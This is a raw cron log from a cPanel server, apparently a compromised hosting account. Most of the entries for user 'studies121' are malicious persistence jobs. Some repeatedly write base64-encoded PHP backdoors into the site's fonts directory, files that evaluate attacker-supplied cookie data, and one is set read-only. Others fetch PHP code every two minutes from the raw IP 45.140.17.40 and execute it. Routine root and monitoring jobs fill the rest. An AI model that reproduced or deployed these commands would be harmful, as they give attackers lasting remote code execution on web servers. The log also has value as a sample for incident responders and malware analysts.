Sep 12 12:09:01 ip-184-168-122-23 CROND[22222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:09:01 ip-184-168-122-23 CROND[22226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:10:01 ip-184-168-122-23 CROND[22327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:10:01 ip-184-168-122-23 CROND[22326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:10:01 ip-184-168-122-23 CROND[22334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:10:01 ip-184-168-122-23 CROND[22331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:10:01 ip-184-168-122-23 CROND[22333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:10:01 ip-184-168-122-23 CROND[22332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:10:01 ip-184-168-122-23 CROND[22335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:10:01 ip-184-168-122-23 CROND[22336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:11:01 ip-184-168-122-23 CROND[22439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:11:01 ip-184-168-122-23 CROND[22438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:11:01 ip-184-168-122-23 CROND[22437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:11:01 ip-184-168-122-23 CROND[22440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:12:01 ip-184-168-122-23 CROND[22527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:12:01 ip-184-168-122-23 CROND[22528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:12:01 ip-184-168-122-23 CROND[22530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:12:01 ip-184-168-122-23 CROND[22529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:12:01 ip-184-168-122-23 CROND[22531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:13:01 ip-184-168-122-23 CROND[22623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:13:01 ip-184-168-122-23 CROND[22622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:13:01 ip-184-168-122-23 CROND[22627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:13:01 ip-184-168-122-23 CROND[22626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:14:01 ip-184-168-122-23 CROND[22799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:14:01 ip-184-168-122-23 CROND[22803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:14:01 ip-184-168-122-23 CROND[22801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:14:01 ip-184-168-122-23 CROND[22802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:14:01 ip-184-168-122-23 CROND[22804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:15:02 ip-184-168-122-23 CROND[22992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:15:02 ip-184-168-122-23 CROND[22995]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 12:15:02 ip-184-168-122-23 CROND[22996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:15:02 ip-184-168-122-23 CROND[23000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:15:02 ip-184-168-122-23 CROND[22997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:15:02 ip-184-168-122-23 CROND[22999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:15:02 ip-184-168-122-23 CROND[23001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:15:02 ip-184-168-122-23 CROND[22998]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 12:16:01 ip-184-168-122-23 CROND[23290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:16:01 ip-184-168-122-23 CROND[23292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:16:01 ip-184-168-122-23 CROND[23296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:16:01 ip-184-168-122-23 CROND[23297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:16:01 ip-184-168-122-23 CROND[23295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:16:01 ip-184-168-122-23 CROND[23298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:17:01 ip-184-168-122-23 CROND[23542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:17:01 ip-184-168-122-23 CROND[23545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:17:01 ip-184-168-122-23 CROND[23544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:17:01 ip-184-168-122-23 CROND[23546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:18:01 ip-184-168-122-23 CROND[23661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:18:01 ip-184-168-122-23 CROND[23663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:18:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:18:01 ip-184-168-122-23 CROND[23664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:18:01 ip-184-168-122-23 CROND[23666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:19:01 ip-184-168-122-23 CROND[23913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:19:01 ip-184-168-122-23 CROND[23916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:19:01 ip-184-168-122-23 CROND[23917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:19:01 ip-184-168-122-23 CROND[23915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:20:01 ip-184-168-122-23 CROND[24061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:20:01 ip-184-168-122-23 CROND[24063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24067]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24070]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:20:01 ip-184-168-122-23 CROND[24071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:21:01 ip-184-168-122-23 CROND[24310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:21:01 ip-184-168-122-23 CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:21:01 ip-184-168-122-23 CROND[24313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
